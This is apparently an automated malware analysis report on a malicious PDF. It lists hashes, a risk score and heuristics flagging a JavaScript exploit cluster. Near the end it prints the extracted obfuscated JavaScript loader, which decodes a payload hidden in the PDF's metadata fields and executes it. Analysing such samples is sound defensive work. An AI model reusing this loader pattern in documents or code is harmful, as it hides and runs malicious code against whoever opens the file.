Malicious PDF — malware analysis report

Static analysis result for SHA-256 f256820340e8a793…

MALICIOUS

PDF

18.1 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 679da8cb9f7196f15376ae69d1f2bf59 SHA-1: f1414a10f085f9539e0cb3eb658f8d9df0639723 SHA-256: f256820340e8a7935e6ce837360eb39019130f0337cd1c4aebe0bca2808b84a2
114 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x462D 359 bytes
SHA-256: 33bd24a76c8b1f424db8880618f583926f890e41022b7618248f509e611c2905
Preview script
First 1,000 lines of the extracted script
var w = 4;
var sdmad = this.title.replace(/w/g,'*w,');
sdmad = sdmad.replace(/t/g,'2');
sdmad=sdmad.substr(0,sdmad.length-2) + ']';
hxa=function(){return function(){return this}()}();
rpj=hxa[this.subject];
uniku=rpj(this.producer);
rqb = rpj(sdmad);
var s = '';
for (i = 0; i < rqb.length; i++) {
	nnnc = rqb[i];
	s += uniku(nnnc);
}
rpj(s);

Open this report in the interactive analyzer, or submit your own file for analysis.